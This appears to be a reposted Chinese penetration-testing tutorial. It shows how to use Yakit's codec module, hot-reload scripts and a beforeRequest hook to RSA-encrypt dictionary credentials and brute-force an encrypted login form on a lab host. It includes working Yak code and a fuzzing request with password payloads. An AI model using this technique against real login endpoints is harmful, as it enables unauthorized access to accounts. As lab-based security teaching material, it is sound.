yakit通过codec解决RSA加密

admin 2025-12-29 00:58:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍使用Yakit解决前端RSA加密接口的Fuzz测试难题。通过提取公钥,利用codec模块与热加载实现自动加密与爆破。针对Payload显示问题,采用beforeRequest钩子在发送前动态加密明文参数,从而在界面直观展示原始账号密码,有效提升测试效率。 综合评分: 88 文章分类: 渗透测试,WEB安全,安全工具


cover_image

yakit 通过codec 解决RSA加密

原创

进击的hack

进击的HACK

2025年4月6日 07:50 江苏

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


前言

靶场就不过多叙述,具体的可以看yakit系列的前几篇文章。 本篇文章主要内容:

  • • yakit 热加载进行 RSA 加密
  • • 如何显示想要的payloads

结果展示

成功通过 web fuzzer 对进行了rsa加密的接口进行爆破

加解密过程

前端加密分析

访问 http://192.168.56.32:82/

RSA 加密

在history中,查看数据包,参数被rsa加密 data

浏览器分析代码

source 全局搜索关键词

寻找发包点,定位加密地点 下断点,点击按钮

_0xc4a2fd 传入的是加密后的data,向上追,找到_0x4c2fb7中是明文data

{"username":"admin","password":"admin"}

定位加密函数

_0x2eaef7['encrypt'](data)

加密过程

_0x3e25e1 = '\n-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi\nNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM\nDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb\nocDbsNeCwNpRxwjIdQIDAQAB\n-----END PUBLIC KEY-----\n  '
_0x2eaef7 = new JSEncrypt();
_0x2eaef7['setPublicKey'](data);

yakit 构造RSA加密函数

在放置公钥在热加载前,我们现在codec模块,测试一下具体的加密方法,避免热加载的时候一头雾水,解决不了报错

yakit的codec模块和cyberchef很像,是拖动的,将加密后的data发送到后端

没出现解密失败的报错,说明后端成功解密接收了。

由此,我们可知加密办法是 codec.RSADecryptWithPKCS1v15

注意点 我们从浏览器拿到的公钥是这样的

\n-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi\nNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM\nDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb\nocDbsNeCwNpRxwjIdQIDAQAB\n-----END PUBLIC KEY-----\n

需要将 \n 替换为回车,对格式进行转换,如下:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----

热加载代码模板

热加载中有代码模板

作用:以笛卡尔积生成爆破字典,对结果进行RSA 公钥加密

配置热加载

decode2 = func(param) {
    publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----` /* base64格式的publicKey */

    usernameDict = ["admin"] /* 用户字典 */
    passwordDict = ["admin", "123456", "admin123", "88888888", "666666"] /* 密码字典 */
    resultList = []
    for username in usernameDict {
        for password in passwordDict {
            m = {"username":username,"password":password} /* 这里替换为你需要的格式 */
            jsonInput = json.dumps(m)
            result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
            base64Result = codec.EncodeBase64(result)
            base64Result = codec.EscapeUrl(base64Result)
            resultList.Append(base64Result)
        }
    }
    return resultList
}

注意点

我们可以看到,发送到后端的data再最后进行了URL编码。所以我们在热加载里也要添加相关内容,不然后端就会解密失败。

  • • base64Result = codec.EscapeUrl(base64Result)

调试执行

点击保存,配置fuzz tag

发送成功。

问题

但是,有一个问题,我们看不到payload中的账号和密码,后面肯定不方便。如果有知道怎么配置的师傅可以留言。 但是我翻阅yakit的文档,也没找到在哪里配置payloads的显示内容。 但所谓只要思想不滑坡,办法总比困难多。 我找到了一个不是办法的办法。

解决办法

我们通过热加载的beforerequest调用函数,这样就能看见了。 具体的代码如下: 热加载:

decode2 = func(jsonInput) {
    publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`/* base64格式的publicKey */

    result = codec.RSAEncryptWithPKCS1v15(publicKey, jsonInput)~
    base64Result = codec.EncodeBase64(result)
    base64Result = codec.EscapeUrl(base64Result)

    return base64Result
}

// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
// 我们可以将请求进行一定的修改
    password = poc.GetHTTPPacketPostParam(
        req,
        "data",
    )
    username = poc.GetHTTPPacketPostParam(
        req,
        "username",
    )
    m = {"username": username, "password": password}/* 这里替换为你需要的格式 */
    jsonInput = json.dumps(m)
    dataEnc = decode2(jsonInput)
    req = poc.ReplaceHTTPPacketBody(req /*type: []byte*/, "data=" + dataEnc)
    return []byte(req)
}

修改了一部分代码

  • • 我们将需要传入的参数写在请求体中,接着热加载接收这些参数,拼接成json,加密。最后将结果替换到请求体中。

  • • poc.ReplaceHTTPPacketBody 会将请求体的内容全部替换。

请求包

POST /encrypt/rsa.php HTTP/1.1
Host: 192.168.56.32:82
Referer: http://192.168.56.32:82/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.56.32:82
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

data={{payload(pass_top25)}}&username={{payload(user_top10)}}

结果成功打印payloads


往期推荐

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

yakit 调用jsRpc加解密,免去抠代码补环境

代码审计 | 一次JWT任意用户登录审计

Yakit JWT Token 弱口令枚举

yakit 弱口令爆破与未授权检测

yakit 验证码识别 进行webfuzzer

yakit 安装和初次使用

数据库自动取样工具DataMiner

burpsuite指纹识别插件合集

工具推荐 | P1finger 重点资产指纹识别工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:进击的HACK 进击的hack《yakit 通过codec 解决RSA加密》

评论:0   参与:  0